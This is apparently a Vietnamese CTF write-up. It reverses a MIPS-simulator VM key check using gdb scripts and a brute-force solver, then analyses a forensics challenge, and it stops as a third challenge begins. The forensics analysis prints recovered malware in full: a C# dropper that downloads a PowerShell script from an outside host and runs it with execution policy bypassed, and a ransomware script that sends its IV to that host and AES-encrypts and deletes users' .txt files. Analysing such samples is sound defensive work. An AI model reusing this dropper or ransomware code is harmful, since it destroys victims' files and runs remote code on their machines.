260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
void __cdecl Machine::OneInstruction(Machine *const this, Instruction *instr)
{
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v6; // ebx
  int v7; // eax
  int v8; // esi
  int v9; // ebx
  int v10; // eax
  int v11; // eax
  int v12; // eax
  int extra; // ebx
  int v14; // esi
  int v15; // eax
  int v16; // eax
  int v17; // eax
  int v18; // eax
  int v19; // eax
  int v20; // eax
  int v21; // eax
  int v22; // eax
  int v23; // eax
  int v24; // eax
  int v25; // eax
  int v26; // eax
  int v27; // eax
  int v28; // eax
  int v29; // eax
  int v30; // eax
  int raw; // [esp+28h] [ebp-A0h] BYREF
  int value; // [esp+2Ch] [ebp-9Ch] BYREF
  int nextLoadReg; // [esp+30h] [ebp-98h]
  int nextLoadValue; // [esp+34h] [ebp-94h]
  int pcAfter; // [esp+38h] [ebp-90h]
  OpString *str; // [esp+3Ch] [ebp-8Ch]
  int sum; // [esp+40h] [ebp-88h]
  unsigned int rs; // [esp+44h] [ebp-84h]
  unsigned int rt; // [esp+48h] [ebp-80h]
  int tmp; // [esp+4Ch] [ebp-7Ch]
  int byte; // [esp+50h] [ebp-78h]
  unsigned int imm; // [esp+54h] [ebp-74h]
  int diff; // [esp+58h] [ebp-70h]
  char buf[80]; // [esp+5Ch] [ebp-6Ch] BYREF
  unsigned int v45; // [esp+ACh] [ebp-1Ch]

  v45 = __readgsdword(0x14u);
  nextLoadReg = 0;
  nextLoadValue = 0;
  if ( Machine::ReadMem(this, this->registers[34], 4, &raw) )
  {
    instr->value = raw;
    Instruction::Decode(instr);
    if ( Debug::IsEnabled(debug, 109) )
    {
      str = (OpString *)(16 * instr->opCode + 134624448);
      if ( instr->opCode > 63 )
      {
        v2 = std::operator<<<std::char_traits<char>>(&std::cerr, "Assertion failed: line ");
        v3 = std::ostream::operator<<(v2, 142);
        v4 = std::operator<<<std::char_traits<char>>(v3, " file ");
        v5 = std::operator<<<std::char_traits<char>>(v4, "../machine/mipssim.cc");
        std::operator<<<std::char_traits<char>>(v5, "\n");
        Abort();
      }
      v6 = this->registers[34];
      v7 = std::operator<<<std::char_traits<char>>(&std::cout, "At PC = ");
      std::ostream::operator<<(v7, v6);
      v8 = TypeToReg(str->args[2], instr);
      v9 = TypeToReg(str->args[1], instr);
      v10 = TypeToReg(str->args[0], instr);
      sprintf(buf, str->format, v10, v9, v8);
      v11 = std::operator<<<std::char_traits<char>>(&std::cout, "\t");
      v12 = std::operator<<<std::char_traits<char>>(v11, buf);
      std::operator<<<std::char_traits<char>>(v12, "\n");
    }
    pcAfter = this->registers[35] + 4;
    switch ( instr->opCode )
    {
      case 1:
        sum = this->registers[instr->rs] + this->registers[instr->rt];
        if ( (this->registers[instr->rs] ^ this->registers[instr->rt]) >= 0 && (sum ^ this->registers[instr->rs]) < 0 )
          goto LABEL_133;
        this->registers[instr->rd] = sum;
        goto LABEL_171;
      case 2:
        sum = this->registers[instr->rs] + instr->extra;
        if ( (this->registers[instr->rs] ^ instr->extra) >= 0 && (sum ^ instr->extra) < 0 )
          goto LABEL_133;
        this->registers[instr->rt] = sum;
        goto LABEL_171;
      case 3:
        this->registers[instr->rt] = instr->extra + this->registers[instr->rs];
        goto LABEL_171;
      case 4:
        this->registers[instr->rd] = this->registers[instr->rt] + this->registers[instr->rs];
        goto LABEL_171;
      case 5:
        this->registers[instr->rd] = this->registers[instr->rt] & this->registers[instr->rs];
        goto LABEL_171;
      case 6:
        this->registers[instr->rt] = (unsigned __int16)instr->extra & this->registers[instr->rs];
        goto LABEL_171;
      case 7:
        if ( this->registers[instr->rs] == this->registers[instr->rt] )
          pcAfter = this->registers[35] + 4 * instr->extra;
        goto LABEL_171;
      case 8:
        goto LABEL_22;
      case 9:
        this->registers[31] = this->registers[35] + 4;
LABEL_22:
        if ( this->registers[instr->rs] >= 0 )
          pcAfter = this->registers[35] + 4 * instr->extra;
        goto LABEL_171;
      case 0xA:
        if ( this->registers[instr->rs] > 0 )
          pcAfter = this->registers[35] + 4 * instr->extra;
        goto LABEL_171;
      case 0xB:
        if ( this->registers[instr->rs] <= 0 )
          pcAfter = this->registers[35] + 4 * instr->extra;
        goto LABEL_171;
      case 0xC:
        goto LABEL_32;
      case 0xD:
        this->registers[31] = this->registers[35] + 4;
LABEL_32:
        if ( this->registers[instr->rs] < 0 )
          pcAfter = this->registers[35] + 4 * instr->extra;
        goto LABEL_171;
      case 0xE:
        if ( this->registers[instr->rs] != this->registers[instr->rt] )
          pcAfter = this->registers[35] + 4 * instr->extra;
        goto LABEL_171;
      case 0x10:
        if ( this->registers[instr->rt] )
        {
          this->registers[33] = this->registers[instr->rs] / this->registers[instr->rt];
          this->registers[32] = this->registers[instr->rs] % this->registers[instr->rt];
        }
        else
        {
          this->registers[33] = 0;
          this->registers[32] = 0;
        }
        goto LABEL_171;
      case 0x11:
        rs = this->registers[instr->rs];
        rt = this->registers[instr->rt];
        if ( rt )
        {
          this->registers[33] = rs / rt;
          tmp = rs % rt;
          this->registers[32] = rs % rt;
        }
        else
        {
          this->registers[33] = 0;
          this->registers[32] = 0;
        }
        goto LABEL_171;
      case 0x12:
        goto LABEL_45;
      case 0x13:
        this->registers[31] = this->registers[35] + 4;
LABEL_45:
        pcAfter = pcAfter & 0xF0000000 | (4 * instr->extra);
        goto LABEL_171;
      case 0x14:
        this->registers[instr->rd] = this->registers[35] + 4;
        goto LABEL_47;
      case 0x15:
LABEL_47:
        pcAfter = this->registers[instr->rs];
        goto LABEL_171;
      case 0x16:
      case 0x17:
        tmp = this->registers[instr->rs] + instr->extra;
        if ( !Machine::ReadMem(this, tmp, 1, &value) )
          return;
        if ( (value & 0x80) != 0 && instr->opCode == 22 )
          value |= 0xFFFFFF00;
        else
          value = (unsigned __int8)value;
        nextLoadReg = instr->rt;
        nextLoadValue = value;
        goto LABEL_171;
      case 0x18:
      case 0x19:
        tmp = this->registers[instr->rs] + instr->extra;
        if ( (tmp & 1) != 0 )
          goto LABEL_55;
        if ( !Machine::ReadMem(this, tmp, 2, &value) )
          return;
        if ( (value & 0x8000) != 0 && instr->opCode == 24 )
          value |= 0xFFFF0000;
        else
          value = (unsigned __int16)value;
        nextLoadReg = instr->rt;
        nextLoadValue = value;
        goto LABEL_171;
      case 0x1A:
        if ( Debug::IsEnabled(debug, 109) )
        {
          extra = instr->extra;
          v14 = instr->rt;
          v15 = std::operator<<<std::char_traits<char>>(&std::cerr, "Executing: LUI r");
          v16 = std::operator<<<std::char_traits<char>>(v15, v14);
          v17 = std::operator<<<std::char_traits<char>>(v16, ", ");
          v18 = std::ostream::operator<<(v17, extra);
          std::operator<<<std::char_traits<char>>(v18, "\n");
        }
        this->registers[instr->rt] = instr->extra << 16;
        goto LABEL_171;
      case 0x1B:
        tmp = this->registers[instr->rs] + instr->extra;
        if ( (tmp & 3) != 0 )
        {
LABEL_55:
          Machine::RaiseException(this, ExceptionType::AddressErrorException, tmp);
          return;
        }
        if ( !Machine::ReadMem(this, tmp, 4, &value) )
          return;
        nextLoadReg = instr->rt;
        nextLoadValue = value;
        goto LABEL_171;
      case 0x1C:
        tmp = this->registers[instr->rs] + instr->extra;
        byte = tmp & 3;
        if ( !Machine::ReadMem(this, tmp - byte, 4, &value) )
          return;
        if ( this->registers[37] == instr->rt )
          nextLoadValue = this->registers[38];
        else
          nextLoadValue = this->registers[instr->rt];
        v19 = 3 - byte;
        if ( byte == 2 )
        {
          nextLoadValue = (value << 8) | (unsigned __int8)nextLoadValue;
        }
        else if ( v19 > 1 )
        {
          if ( v19 == 2 )
          {
            nextLoadValue = (value << 16) | (unsigned __int16)nextLoadValue;
          }
          else if ( v19 == 3 )
          {
            nextLoadValue = nextLoadValue & 0xFFFFFF | (value << 24);
          }
        }
        else if ( !v19 )
        {
          nextLoadValue = value;
        }
        nextLoadReg = instr->rt;
        goto LABEL_171;
      case 0x1D:
        tmp = this->registers[instr->rs] + instr->extra;
        byte = tmp & 3;
        if ( !Machine::ReadMem(this, tmp - byte, 4, &value) )
          return;
        if ( this->registers[37] == instr->rt )
          nextLoadValue = this->registers[38];
        else
          nextLoadValue = this->registers[instr->rt];
        v20 = 3 - byte;
        if ( byte == 2 )
        {
          HIWORD(v22) = HIWORD(nextLoadValue);
          LOWORD(v22) = 0;
          nextLoadValue = v22 | HIWORD(value);
        }
        else if ( v20 > 1 )
        {
          if ( v20 == 2 )
          {
            nextLoadValue = nextLoadValue & 0xFF000000 | ((unsigned int)value >> 8);
          }
          else if ( v20 == 3 )
          {
            nextLoadValue = value;
          }
        }
        else if ( !v20 )
        {
          v21 = nextLoadValue;
          LOBYTE(v21) = 0;
          nextLoadValue = v21 | HIBYTE(value);
        }
        nextLoadReg = instr->rt;
        goto LABEL_171;
      case 0x1F:
        this->registers[instr->rd] = this->registers[32];
        goto LABEL_171;
      case 0x20:
        this->registers[instr->rd] = this->registers[33];
        goto LABEL_171;
      case 0x22:
        this->registers[32] = this->registers[instr->rs];
        goto LABEL_171;
      case 0x23:
        this->registers[33] = this->registers[instr->rs];
        goto LABEL_171;
      case 0x24:
        Mult(this->registers[instr->rs], this->registers[instr->rt], 1, &this->registers[32], &this->registers[33]);
        goto LABEL_171;
      case 0x25:
        Mult(this->registers[instr->rs], this->registers[instr->rt], 0, &this->registers[32], &this->registers[33]);
        goto LABEL_171;
      case 0x26:
        this->registers[instr->rd] = ~(this->registers[instr->rs] | this->registers[instr->rt]);
        goto LABEL_171;
      case 0x27:
        this->registers[instr->rd] = this->registers[instr->rt] | this->registers[instr->rs];
        goto LABEL_171;
      case 0x28:
        this->registers[instr->rt] = (unsigned __int16)instr->extra | this->registers[instr->rs];
        goto LABEL_171;
      case 0x2A:
        if ( Machine::WriteMem(this, this->registers[instr->rs] + instr->extra, 1, this->registers[instr->rt]) )
          goto LABEL_171;
        return;
      case 0x2B:
        if ( Machine::WriteMem(this, this->registers[instr->rs] + instr->extra, 2, this->registers[instr->rt]) )
          goto LABEL_171;
        return;
      case 0x2C:
        this->registers[instr->rd] = this->registers[instr->rt] << instr->extra;
        goto LABEL_171;
      case 0x2D:
        this->registers[instr->rd] = this->registers[instr->rt] << (this->registers[instr->rs] & 0x1F);
        goto LABEL_171;
      case 0x2E:
        this->registers[instr->rd] = this->registers[instr->rs] < this->registers[instr->rt];
        goto LABEL_171;
      case 0x2F:
        this->registers[instr->rt] = this->registers[instr->rs] < instr->extra;
        goto LABEL_171;
      case 0x30:
        rs = this->registers[instr->rs];
        imm = instr->extra;
        this->registers[instr->rt] = rs < imm;
        goto LABEL_171;
      case 0x31:
        rs = this->registers[instr->rs];
        rt = this->registers[instr->rt];
        this->registers[instr->rd] = rs < rt;
        goto LABEL_171;
      case 0x32:
        this->registers[instr->rd] = this->registers[instr->rt] >> instr->extra;
        goto LABEL_171;
      case 0x33:
        this->registers[instr->rd] = this->registers[instr->rt] >> (this->registers[instr->rs] & 0x1F);
        goto LABEL_171;
      case 0x34:
        tmp = this->registers[instr->rt];
        tmp >>= instr->extra;
        this->registers[instr->rd] = tmp;
        goto LABEL_171;
      case 0x35:
        tmp = this->registers[instr->rt];
        tmp >>= this->registers[instr->rs] & 0x1F;
        this->registers[instr->rd] = tmp;
        goto LABEL_171;
      case 0x36:
        diff = this->registers[instr->rs] - this->registers[instr->rt];
        if ( (this->registers[instr->rs] ^ this->registers[instr->rt]) >= 0 || (diff ^ this->registers[instr->rs]) >= 0 )
        {
          this->registers[instr->rd] = diff;
LABEL_171:
          Machine::DelayedLoad(this, nextLoadReg, nextLoadValue);
          this->registers[36] = this->registers[34];
          this->registers[34] = this->registers[35];
          this->registers[35] = pcAfter;
        }
        else
        {
LABEL_133:
          Machine::RaiseException(this, ExceptionType::OverflowException, 0);
        }
        break;
      case 0x37:
        this->registers[instr->rd] = this->registers[instr->rs] - this->registers[instr->rt];
        goto LABEL_171;
      case 0x38:
        if ( Machine::WriteMem(this, this->registers[instr->rs] + instr->extra, 4, this->registers[instr->rt]) )
          goto LABEL_171;
        return;
      case 0x39:
        tmp = this->registers[instr->rs] + instr->extra;
        byte = tmp & 3;
        if ( Machine::ReadMem(this, tmp - byte, 4, &value) )
        {
          v23 = 3 - byte;
          if ( byte == 2 )
          {
            value = value & 0xFF000000 | ((unsigned int)this->registers[instr->rt] >> 8);
          }
          else if ( v23 > 1 )
          {
            if ( v23 == 2 )
            {
              HIWORD(v24) = HIWORD(value);
              LOWORD(v24) = 0;
              value = v24 | HIWORD(this->registers[instr->rt]);
            }
            else if ( v23 == 3 )
            {
              v25 = value;
              LOBYTE(v25) = 0;
              value = v25 | HIBYTE(this->registers[instr->rt]);
            }
          }
          else if ( !v23 )
          {
            value = this->registers[instr->rt];
          }
          if ( Machine::WriteMem(this, tmp - byte, 4, value) )
            goto LABEL_171;
        }
        return;
      case 0x3A:
        tmp = this->registers[instr->rs] + instr->extra;
        byte = tmp & 3;
        if ( Machine::ReadMem(this, tmp - byte, 4, &value) )
        {
          v26 = 3 - byte;
          if ( byte == 2 )
          {
            value = (unsigned __int16)value | (this->registers[instr->rt] << 16);
          }
          else if ( v26 > 1 )
          {
            if ( v26 == 2 )
            {
              value = (unsigned __int8)value | (this->registers[instr->rt] << 8);
            }
            else if ( v26 == 3 )
            {
              value = this->registers[instr->rt];
            }
          }
          else if ( !v26 )
          {
            value = value & 0xFFFFFF | (this->registers[instr->rt] << 24);
          }
          if ( Machine::WriteMem(this, tmp - byte, 4, value) )
            goto LABEL_171;
        }
        return;
      case 0x3B:
        this->registers[instr->rd] = this->registers[instr->rt] ^ this->registers[instr->rs];
        goto LABEL_171;
      case 0x3C:
        this->registers[instr->rt] = (unsigned __int16)instr->extra ^ this->registers[instr->rs];
        goto LABEL_171;
      case 0x3D:
        Machine::RaiseException(this, ExceptionType::SyscallException, 0);
        return;
      case 0x3E:
      case 0x3F:
        Machine::RaiseException(this, ExceptionType::IllegalInstrException, 0);
        return;
      default:
        v27 = std::operator<<<std::char_traits<char>>(&std::cerr, "Assertion failed: line ");
        v28 = std::ostream::operator<<(v27, 688);
        v29 = std::operator<<<std::char_traits<char>>(v28, " file ");
        v30 = std::operator<<<std::char_traits<char>>(v29, "../machine/mipssim.cc");
        std::operator<<<std::char_traits<char>>(v30, "\n");
        Abort();
    }
  }
}

Viết 1 script disasembler đơn giản vm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import gdb
from collections import Counter

ge = gdb.execute
gp = gdb.parse_and_eval

ge("start")
ge("b *0x0804FCCF") # case
addr_case = {
    0x0804FCD1: 1,                                                                                                                      
    0x0804FDAD: 2,
    0x0804FE59: 3,
    0x0804FE9B: 4,
    0x0804FEED: 5,
    0x0804FF3F: 6,
    0x0804FF84: 7,
    0x0804FFFA: 8,
    0x0804FFDF: 9,
    0x0805003C: 10,
    0x0805007E: 11,
    0x080500DB: 12,
    0x080500C0: 13,
    0x0805011D: 14,
    0x08050178: 16,
    0x08050243: 17,
    0x0805030B: 18,
    0x080502F0: 19,
    0x08050331: 20,
    0x08050359: 21,
    0x0805037D: 23,
    0x0805043A: 25,
    0x08050523: 26,
    0x080505CD: 27,
    0x08050677: 28,
    0x080507D0: 29,
    0x0805092D: 31,
    0x08050957: 32,
    0x08050981: 34,
    0x080509AB: 35,
    0x080509D5: 36,
    0x08050A40: 37,
    0x08050AAB: 38,
    0x08050B01: 39,
    0x08050B53: 40,
    0x08050B98: 42,
    0x08050C04: 43,
    0x08050C70: 44,
    0x08050CB6: 45,
    0x08050D0F: 46,
    0x08050D89: 47,
    0x08050DF3: 48,
    0x08050E6D: 49,
    0x08050EF7: 50,
    0x08050F3D: 51,
    0x08050F96: 52,
    0x08050FE1: 53,
    0x0805103F: 54,
    0x08051114: 55,
    0x08051166: 56,
    0x080511D2: 57,
    0x0805135F: 58,
    0x08051508: 59,
    0x0805155A: 60,
    0x080514E5: 61,
    0x0805159C: 63
}
op_dis = {
    1: "ADD", 2: "ADDI", 3: "ADDIU", 4: "SUB", 5: "AND", 6: "ANDI",
    7: "CMP", 8: "JLE", 9: "JGE", 10: "BGTZ", 11: "BLTZ", 12: "JNE",
    13: "JAL", 14: "J", 16: "DIV", 17: "DIVU", 18: "J", 19: "JAL",
    20: "JALR", 21: "JR", 22: "LB", 23: "LB", 24: "LH", 25: "LH",
    26: "LUI", 27: "LW", 28: "LWL", 29: "LWR", 31: "MFLO", 32: "MFHI",
    34: "MTLO", 35: "MTHI", 36: "MULT", 37: "MULTU", 38: "NOR", 39: "OR",
    40: "ORI", 42: "SB", 43: "SH", 44: "SLL", 45: "SLLV", 46: "SLT",
    47: "SLTI", 48: "SLTU", 49: "SLTIU", 50: "SRA", 51: "SRAV",
    52: "SRAI", 53: "SRLV", 54: "SUB", 55: "SUBU", 56: "SW",
    57: "SWL", 58: "SWR", 59: "XOR", 60: "XORI", 61: "SYSCALL",
    62: "BREAK", 63: "ILLEGAL"
}

op = []
pc = 0
pr = ''
key = "abcdefghijklmnop"
ge(f"r <<< {key}")
while True:
    try:
        eax = int(gp("$eax"))
        if eax in addr_case:
            op.append(addr_case[eax])
            ge("c")
    except:
        with open("disasm.txt", "w") as f:
            cnts = Counter(op)
            for v, cnt in cnts.items():
                f.write(f"{op_dis.get(v, 'UNK')}({v}) : {cnt}\n")
            f.write("\n")
            for o in op:
                f.write(f"{op_dis.get(o, 'UNK')}\n")
            f.write(f"{op_dis.get(o, 'UNK')}")
        exit()

Đây là số lệnh được sử dụng trong vm này:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
JAL(19): 35
SLL(44): 372
ADDIU(3): 150
SW(56): 73
SUB(4): 83
JR(21): 33
LUI(26): 34
LW(27): 179
LB(23): 78
J(14): 51
SYSCALL(61): 31
J(18): 50
SLTI(47): 34
SB(42): 16
XOR(59): 16
SRA(50): 16
CMP(7): 16

Sơ lược thì tại case 61 sẽ có 2 giá trị syscall 0, 1 tương ứng với write và read input.

Debug và trace thì 5 giá trị 61 đầu tiên ứng với syscall 1 sẽ write Key: 17 giá trị 61 tiếp theo ứng với syscall 0 sẽ đọc key nhập vào. 9 giá trị 61 cuối cùng sẽ in ra Incorrect với test key nhập sai. Nhìn vào số lượng key ta có thể đoán cơ bản vm này sẽ làm gì với key nhập vào. Chú ý vào những đoạn case xuất hiện 16 lần (XOR, SB, SRA, CMP) ứng với xử lý 16 byte key (byte 17 là \n) sẽ tập trung trace vào đó.

Test với key abcdefghijklmnop.

1 lưu ý là byte key được đọc sẽ xor với 0x49 và + 9:

image

Store byte key vào mem:

image

image

Xor với xor_data tại ecx (((ord('a') ^ 0x49) + 9) ^ 0x75 = 0x31 ^ 0x75 = 0x44):

image

image

Sau đó so sánh với cipher text tại eax:

image

Như vậy luồng check key đơn giản là xor byte với 0x49 và + 9, sau đó xor với mảng xor_data tại ecx, cuối cùng so sánh với cipher text tại eax.

Script dump ra xor_data và cipher:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import gdb

ge = gdb.execute
gp = gdb.parse_and_eval

ge("start")
ge("b *0x0804FCCF") # case
ge("b *0x08051547") # xor
ge("b *0x0804FFB6") # cmp
addr_case = {
    0x0804FCD1: 1,                                                                                                                      
    0x0804FDAD: 2,
    0x0804FE59: 3,
    0x0804FE9B: 4,
    0x0804FEED: 5,
    0x0804FF3F: 6,
    0x0804FF84: 7,
    0x0804FFFA: 8,
    0x0804FFDF: 9,
    0x0805003C: 10,
    0x0805007E: 11,
    0x080500DB: 12,
    0x080500C0: 13,
    0x0805011D: 14,
    0x08050178: 16,
    0x08050243: 17,
    0x0805030B: 18,
    0x080502F0: 19,
    0x08050331: 20,
    0x08050359: 21,
    0x0805037D: 23,
    0x0805043A: 25,
    0x08050523: 26,
    0x080505CD: 27,
    0x08050677: 28,
    0x080507D0: 29,
    0x0805092D: 31,
    0x08050957: 32,
    0x08050981: 34,
    0x080509AB: 35,
    0x080509D5: 36,
    0x08050A40: 37,
    0x08050AAB: 38,
    0x08050B01: 39,
    0x08050B53: 40,
    0x08050B98: 42,
    0x08050C04: 43,
    0x08050C70: 44,
    0x08050CB6: 45,
    0x08050D0F: 46,
    0x08050D89: 47,
    0x08050DF3: 48,
    0x08050E6D: 49,
    0x08050EF7: 50,
    0x08050F3D: 51,
    0x08050F96: 52,
    0x08050FE1: 53,
    0x0805103F: 54,
    0x08051114: 55,
    0x08051166: 56,
    0x080511D2: 57,
    0x0805135F: 58,
    0x08051508: 59,
    0x0805155A: 60,
    0x080514E5: 61,
    0x0805159C: 63
}

vm = []
key = "abcdefghijklmnop"
xor_data = []
ct = []
vm = []
ge(f"r <<< {key}")
while True:
    try:
        eax = int(gp("$eax"))
        if eax in addr_case:
            if addr_case[eax] == 59:
                ge("c")
                eax = hex(gp("$eax"))
                ecx = hex(gp("$ecx"))
                xor_data.append(ecx)
                vm.append(f"xor {ecx}, {eax}")
            elif addr_case[eax] == 7:
                ge("c")
                eax = hex(gp("$eax"))
                edx = hex(gp("$edx"))
                ct.append(eax)
                vm.append(f"cmp {edx}, {eax}")
            ge("c")
    except:
        print("\nKey modify: ", end='')
        for k in key:
            print(hex((ord(k)^0x49)+9), end=', ')
        print("\n\nVM:")
        for v in vm:
            print(v)
        print(f"\nxor_data = {xor_data}")
        print(f"\nct = {ct}")
        exit()

Từng byte key được biến đổi nên dễ dàng brute force:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from string import ascii_letters, digits, punctuation


# VM:
# xor 0x75, 0x31
# cmp 0x44, 0x31
# xor 0xb4, 0x34
# cmp -0x80, 0x32
# xor 0x3, 0x33
# cmp 0x30, 0x32
# xor 0x1d, 0x36
# cmp 0x2b, 0x33
# xor 0x2c, 0x35
# cmp 0x19, 0x33
# xor 0x7b, 0x38
# cmp 0x43, 0x33
# xor 0x19, 0x37
# cmp 0x2e, 0x34
# xor 0x2b, 0x2a
# cmp 0x1, 0x34
# xor 0x1d, 0x29
# cmp 0x34, 0x34
# xor 0x77, 0x2c
# cmp 0x5b, 0x34
# xor 0x5, 0x2b
# cmp 0x2e, 0x35
# xor 0x73, 0x2e
# cmp 0x5d, 0x35
# xor 0x2a, 0x2d
# cmp 0x7, 0x35
# xor 0x1c, 0x30
# cmp 0x2c, 0x35
# xor 0x73, 0x2f
# cmp 0x5c, 0x35
# xor 0x49, 0x42
# cmp 0xb, 0x36

xor_data = ['0x75', '0xb4', '0x3', '0x1d', '0x2c', '0x7b', '0x19', '0x2b', '0x1d', '0x77', '0x5', '0x73', '0x2a', '0x1c', '0x73', '0x49']

ct = ['0x31', '0x32', '0x32', '0x33', '0x33', '0x33', '0x34', '0x34', '0x34', '0x34', '0x35', '0x35', '0x35', '0x35', '0x35', '0x36']

key = ''
chars = ascii_letters + digits + punctuation
for x, e in zip(xor_data, ct):
    for c in chars:
        km = (ord(c) ^ 0x49) + 9
        if (km ^ int(x, 16)) == int(e, 16):
            key += c
            break
# print(len(key))
print(key)
# r4al_vm_isnt_it?

HCMUS-CTF{r4al_vm_isnt_it?}

Forensics/Download Chrome

User ran a strange file. Suspicious behavior detected. Find the flag.

Challenge mô tả user đã chạy 1 file lạ với hành vi đáng ngờ trên hệ thống. Phân tích file traffic.pcapng thì thấy các file khả nghi, export ra để theo dõi:

image

Đây là chrome.exe

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Text;

// Token: 0x02000002 RID: 2
internal class Program
{
	// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
	private static string XorDecode(byte[] data, string key)
	{
		byte[] array = new byte[data.Length];
		for (int i = 0; i < data.Length; i++)
		{
			array[i] = (data[i] ^ (byte)key[i % key.Length]);
		}
		return Encoding.UTF8.GetString(array);
	}

	// Token: 0x06000002 RID: 2 RVA: 0x000020A4 File Offset: 0x000002A4
	private static void Main()
	{
		try
		{
			ServicePointManager.SecurityProtocol = 3072;
			string text = Path.Combine(Path.GetTempPath(), "temp_script.ps1");
			string text2 = "ABcZBUlMW1cLAhwEXltDREpQWlMACgcFWFNdWgMMAwNAQ1pQBA8=";
			string key = "hcmusctf2025";
			string s = text2.Replace('@', 'a');
			byte[] data = Convert.FromBase64String(s);
			string text3 = Program.XorDecode(data, key);
			Console.WriteLine("URL: " + text3);
			using (WebClient webClient = new WebClient())
			{
				string s2 = webClient.DownloadString(text3);
				byte[] data2 = Convert.FromBase64String(s2);
				string text4 = Program.XorDecode(data2, key);
				Console.WriteLine("Content: ");
				Console.WriteLine(text4);
				File.WriteAllText(text, text4);
			}
			using (Process process = Process.Start(new ProcessStartInfo
			{
				FileName = "powershell.exe",
				Arguments = "-ExecutionPolicy Bypass -File \"" + text + "\"",
				UseShellExecute = false,
				RedirectStandardOutput = true,
				RedirectStandardError = true,
				CreateNoWindow = true
			}))
			{
				string str = process.StandardOutput.ReadToEnd();
				string text5 = process.StandardError.ReadToEnd();
				process.WaitForExit();
				Console.WriteLine("[Output] " + str);
				if (!string.IsNullOrWhiteSpace(text5))
				{
					Console.WriteLine("[Error] " + text5);
				}
			}
		}
		catch (Exception ex)
		{
			Console.WriteLine("Lỗi: " + ex.Message);
		}
	}
}

File chrome.exe này đầu tiên tạo 1 tệp powershall trống tên là temp_script.ps1, sau đó giải mã base64 và tải nội dung của powershell tại http://192.168.193.52:50000/powershell và lưu vào lại vào tệp rồi thực thi:

image

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
        $targetDirectories = @("$env:USERPROFILE")
        $fileExtensionsToEncrypt = @(".txt")
        $encodedPayloadUrl = "http://192.168.193.52:50000/12345"
        $sendIVUrl = "http://192.168.193.52:50000/iv"
        $base64Payload = Invoke-WebRequest -Uri $encodedPayloadUrl | Select-Object -ExpandProperty Content
    
        $decodedPayload = [System.Text.Encoding]::UTF8.GetString(
            [System.Convert]::FromBase64String($base64Payload)
        )

        $sha256 = [System.Security.Cryptography.SHA256]::Create()
        $key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($decodedPayload))

        $rijndaelTemp = [System.Security.Cryptography.RijndaelManaged]::Create()
        $iv = $rijndaelTemp.IV

        $ivBase64 = [System.Convert]::ToBase64String($iv)
        $body = @{ iv = $ivBase64 } | ConvertTo-Json

        Invoke-WebRequest -Uri $sendIVUrl -Method POST -Body $body -ContentType "application/json"

        $rijndael = New-Object System.Security.Cryptography.RijndaelManaged
        $rijndael.Key = $key
        $rijndael.IV = $iv
        $rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $rijndael.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

        foreach ($directory in $targetDirectories) {
            Get-ChildItem -Path $directory -Recurse -File | ForEach-Object {
                if ($fileExtensionsToEncrypt -contains $_.Extension) {
                    $originalFile = $_.FullName
                    $encryptedFile = $originalFile -replace $_.Extension, ".hcmus"

                    $fileBytes = [System.IO.File]::ReadAllBytes($originalFile)
                    $encryptor = $rijndael.CreateEncryptor()
                    $encryptedBytes = $encryptor.TransformFinalBlock($fileBytes, 0, $fileBytes.Length)

                    [System.IO.File]::WriteAllBytes($encryptedFile, $encryptedBytes)
                    Remove-Item $originalFile
                }
            }
        }
    

Script này mã hóa AES mode CBC tất cả file có đuôi .txt với key là file 12345 được decode base64 và hash SHA 256 cùng với iv là file iv được decode base64 rồi đổi đuôi file bị mã hóa sang .hcmus.

Nhặt hết ra đem lên cyberchef giải mã:

image

HCMUS-CTF{n3v3r_rUn_str4ng3r_f1l3s_adfx}

Forensics/Event Log

Our web server detected suspicious activities and a potential leak of sensitive data.

Challenge yêu cầu phân tích các log hệ thống để tìm ra dấu hiệu rò rỉ dữ liệu nhạy cảm từ máy chủ web. Phân tích squid.log thì đây là log của proxy Squid ghi lại các truy cập web qua proxy.

image

